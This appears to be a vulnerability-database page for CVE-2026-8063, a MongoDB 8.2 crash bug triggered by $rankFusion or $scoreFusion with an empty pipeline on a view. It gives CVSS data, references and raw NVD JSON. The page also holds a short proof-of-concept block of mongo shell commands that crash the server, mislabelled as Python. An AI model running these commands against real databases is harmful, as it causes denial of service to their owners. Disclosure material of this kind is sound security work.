CVE-2026-8063

Description

An authenticated user can crash mongod when running $rankFusion or $scoreFusion with an empty pipeline on a view. When resolving a view, the server inspects the aggregation pipeline to determine whether it begins with an Atlas Search stage. For $rankFusion and $scoreFusion, this inspection reads the first element on each stage’s input pipeline array without first verifying that the array is non-empty. Supplying an empty pipeline causes a null pointer dereference and crashes the server. This issue affects MongoDB Server 8.2 versions prior to 8.2.7.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:mongodb:mongodb:*:*:*:*:-:*:*:* - VULNERABLE

MongoDB Server 8.2 < 8.2.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// Connect to MongoDB instance
// Target a view in the database
use test;

// Create a view if one does not exist
db.createView("targetView", "sourceCollection", []);

// Execute aggregation with $rankFusion and an empty pipeline
// This triggers the null pointer dereference
db.targetView.aggregate([
  {
    $rankFusion: {
      input: {
        pipelines: [] // Empty pipeline causes crash
      }
    }
  }
]);

// Alternatively using $scoreFusion
db.targetView.aggregate([
  {
    $scoreFusion: {
      input: {
        pipelines: [] // Empty pipeline causes crash
      }
    }
  }
]);

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8063
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8063
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8063/
[4] VulDB https://vuldb.com/cve/CVE-2026-8063
[5] https://jira.mongodb.org/browse/SERVER-121851

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8063", "sourceIdentifier": "[email protected]", "published": "2026-05-07T06:16:05.723", "lastModified": "2026-05-11T15:26:42.197", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authenticated user can crash mongod when running $rankFusion or $scoreFusion with an empty pipeline on a view.\n\nWhen resolving a view, the server inspects the aggregation pipeline to determine whether it begins with an Atlas Search stage. For $rankFusion and $scoreFusion, this inspection reads the first element on each stage’s input pipeline array without first verifying that the array is non-empty. Supplying an empty pipeline causes a null pointer dereference and crashes the server.\n\nThis issue affects MongoDB Server 8.2 versions prior to 8.2.7."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:mongodb:*:*:*:*:-:*:*:*", "versionStartIncluding": "8.2.0", "versionEndExcluding": "8.2.7", "matchCriteriaId": "CF1B1FE1-C793-450F-9C44-DDBBAE764723"}]}]}], "references": [{"url": "https://jira.mongodb.org/browse/SERVER-121851", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}